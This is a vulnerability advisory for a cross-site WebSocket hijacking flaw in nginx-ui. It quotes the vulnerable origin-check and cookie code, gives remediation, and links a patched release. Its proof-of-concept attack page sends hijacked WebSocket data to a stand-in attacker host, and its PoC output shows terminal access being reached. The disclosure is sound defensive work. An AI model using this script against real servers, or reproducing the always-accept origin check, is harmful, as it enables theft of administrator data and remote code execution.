CVE-2026-34403: Nginx-UI vulnerable to Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints

Summary

All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.

Details

Vulnerable Code Pattern

Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:

go // Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go, // api/nginxlog/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go, // api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go, // api/llm/llm.go, api/llm/codecompletion.go, api/system/upgrade.go var upgrader = websocket.Upgrader{ CheckOrigin: func(r http.Request) bool { return true // Accepts ALL origins }, }

Cookie-Based Authentication

The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):

typescript watch(token, v => { cookies.set('token', v, { maxAge: 86400 }) // No HttpOnly, no SameSite })

The backend middleware accepts tokens from cookies (internal/middleware/middleware.go):

go func getToken(c gin.Context) (token string) { // ... if token, = c.Cookie("token"); token != "" { return token } return "" }

Affected Endpoints

All WebSocket endpoints under the authenticated router group are vulnerable:

| Endpoint | Impact | |---|---| | /api/nginx/detailstatus/ws | Leak nginx performance metrics and configuration | | /api/events | Leak system processing events | | /api/analytic/intro | Leak CPU, memory, disk, network statistics | | /api/nginxlog | Read nginx log files (access/error logs) | | /api/pty | Interactive terminal access (RCE if OTP not enabled) | | /api/upgrade/perform | Trigger system binary upgrade | | /api/cluster/nodes/enabled | Leak and manipulate cluster node data |

PoC

Environment Setup

yaml services: nginx-ui: image: uozi/nginx-ui:latest ports: - "9000:80" volumes: - nginx-ui-config:/etc/nginx-ui volumes: nginx-ui-config:

Attack Page (hosted on attacker-controlled domain)

html <script> // Attacker page at http://evil-attacker.com // Victim must be logged into nginx-ui const ws = new WebSocket('ws://TARGETNGINXUI:9000/api/nginx/detailstatus/ws'); ws.onopen = () => console.log('CSWSH: Connected from malicious origin!'); ws.onmessage = (e) => { console.log('Stolen data:', e.data); fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data}); }; </script>

Automated PoC Results

[+] VULNERABLE! WebSocket connected from http://evil-attacker.com [+] Received: {"stubstatusenabled":false,"running":true,"info":{"active":0,...}}

[+] VULNERABLE! Event stream from http://evil-attacker.com [+] Received: {"event":"processingstatus","data":{"indexscanning":false,...}}

[+] VULNERABLE! Analytics from http://evil-attacker.com [+] Received: {"avgload":{"load1":0.1,"load5":0.2},"cpupercent":0.08,...}

[+] CRITICAL: Terminal connected from http://evil-attacker.com! [+] Terminal output: 'eae7a76e3ef4 login: ' [] Sent username: root [+] Output: 'Password: '

[+] Control test (no auth): Correctly rejected with HTTP 403

Impact

An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:

1. Steals sensitive server information -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events 2. Reads nginx log files -- potentially containing sensitive request data, IP addresses, and authentication tokens 3. Gains interactive terminal access -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution 4. Triggers system operations -- including nginx reload/restart and binary upgrades

The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage.

Remediation

1. Implement proper origin validation in all WebSocket upgraders:

go var upgrader = websocket.Upgrader{ CheckOrigin: func(r http.Request) bool { origin := r.Header.Get("Origin") return isAllowedOrigin(origin) }, }

2. Set secure cookie attributes: typescript cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true })

3. Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.

A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5